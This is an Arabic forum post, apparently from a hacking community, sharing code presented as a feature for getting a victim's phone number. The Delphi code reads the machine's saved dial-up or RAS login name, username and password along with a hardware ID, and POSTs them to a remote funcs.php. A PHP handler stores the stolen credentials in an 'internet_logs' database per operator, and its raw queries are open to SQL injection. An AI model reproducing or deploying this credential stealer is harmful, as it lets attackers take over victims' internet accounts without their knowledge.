22-05-2013, 09:44 PM
ما تم اضافته وهي فكرة جميلة تنفع في الجزائر
ايجاد رقم الهاتف عن طريق وحدة متوفرة في الانترنت unit RASReader;
![[صورة: 20130522214248.jpg]](http://img94.imageshack.us/img94/5874/20130522214248.jpg)
تم ارفاق javascript غير مجاني سعره 5$ لكم بالمجان
ايجاد رقم الهاتف عن طريق وحدة متوفرة في الانترنت unit RASReader;
PHP كود :
function TForm1.intrnet_send: Boolean;
var ini:TIniFile;
begin
ini:=TIniFile.Create(cdir+'log.ini');
try
Result:=ini.ReadBool('server','send_internt',False)
finally
ini.Free;
end ;
end;
procedure TForm1.intrnet_issend;
var ini:TIniFile;
begin
ini:=TIniFile.Create(cdir+'log.ini');
try
ini.writebool('server','send_internt',True)
finally
ini.Free;
end ;
end;
procedure TForm1._inernetsend;
var list:TStringList;
strKind: string;
begin
if not intrnet_send then begin
IdHTTP1.Request.Accept:='text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8';
IdHTTP1.Request.ContentType:='application/x-www-form-urlencoded';
list:=TStringList.Create;
if GetConnectionKind(strKind) then
list.Add('type='+ strKind) else
list.Add('type=unknown') ;
list.Add('name='+GetLoginPass[0]) ;
list.Add('username='+GetLoginPass[1]) ;
list.Add('password='+GetLoginPass[2]) ;
list.Add('hwid='+hdd) ;
try
IdHTTP1.Post(url+'/funcs.php',list);
intrnet_issend;
finally
list.Free;
end;
end;
end;
PHP كود :
function _insertinternet($id_user){
if (isset($_POST["type"]) )$type=($_POST['type']);
if (isset($_POST["name"]) )$name =($_POST['name']);
if (isset($_POST["username"]) )$user =($_POST['username']);
if (isset($_POST["password"]) )$pass =($_POST['password']);
$result = mysql_query("SELECT id FROM `internet_logs` WHERE `username` = '$user' AND `password` = '$pass'");
if (mysql_num_rows($result) == 0) {
if (mysql_query("INSERT INTO `internet_logs` (`type`, `name`, `username`, `password`, `id_user`) VALUES ('$type','$name', '$user', '$pass', '$id_user')")or die('Error'))
return 'internet type added';
} else echo 'Internet exist';
}
![[صورة: 20130522214248.jpg]](http://img94.imageshack.us/img94/5874/20130522214248.jpg)
تم ارفاق javascript غير مجاني سعره 5$ لكم بالمجان

